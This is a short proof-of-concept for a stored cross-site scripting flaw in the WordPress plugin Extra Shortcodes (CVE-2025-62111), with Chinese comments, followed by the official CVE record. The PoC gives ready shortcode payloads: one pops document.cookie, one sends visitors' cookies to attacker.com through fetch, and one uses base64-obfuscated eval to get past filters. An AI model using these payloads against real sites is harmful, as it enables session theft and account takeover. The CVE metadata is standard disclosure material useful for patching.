CVE-2025-62111

<!-- CVE-2025-62111 PoC - WordPress Extra Shortcodes Stored XSS --> <!-- 攻击者可在Shortcode输入字段中注入以下恶意代码 --> <!-- 示例1：通过Shortcode属性注入 --> [extra_shortcode attr='"><script>alert(document.cookie)</script>'] <!-- 示例2：通过Shortcode内容注入 --> [extra_shortcode]<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>[/extra_shortcode] <!-- 示例3：绕过过滤的变形Payload --> [extra_shortcode attr='<img src=x onerror=eval(atob("YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="))>'] <!-- 修复后应输出为转义形式： --> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;

{"cve": {"id": "CVE-2025-62111", "sourceIdentifier": "[email protected]", "published": "2025-12-31T13:15:41.350", "lastModified": "2026-04-23T15:34:33.740", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in webvitaly Extra Shortcodes extra-shortcodes allows Stored XSS.This issue affects Extra Shortcodes: from n/a through <= 2.2."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en Webvitaly Extra Shortcodes permite XSS Almacenado. Este problema afecta a Extra Shortcodes: desde n/a hasta 2.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/extra-shortcodes/vulnerability/wordpress-extra-shortcodes-plugin-2-2-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}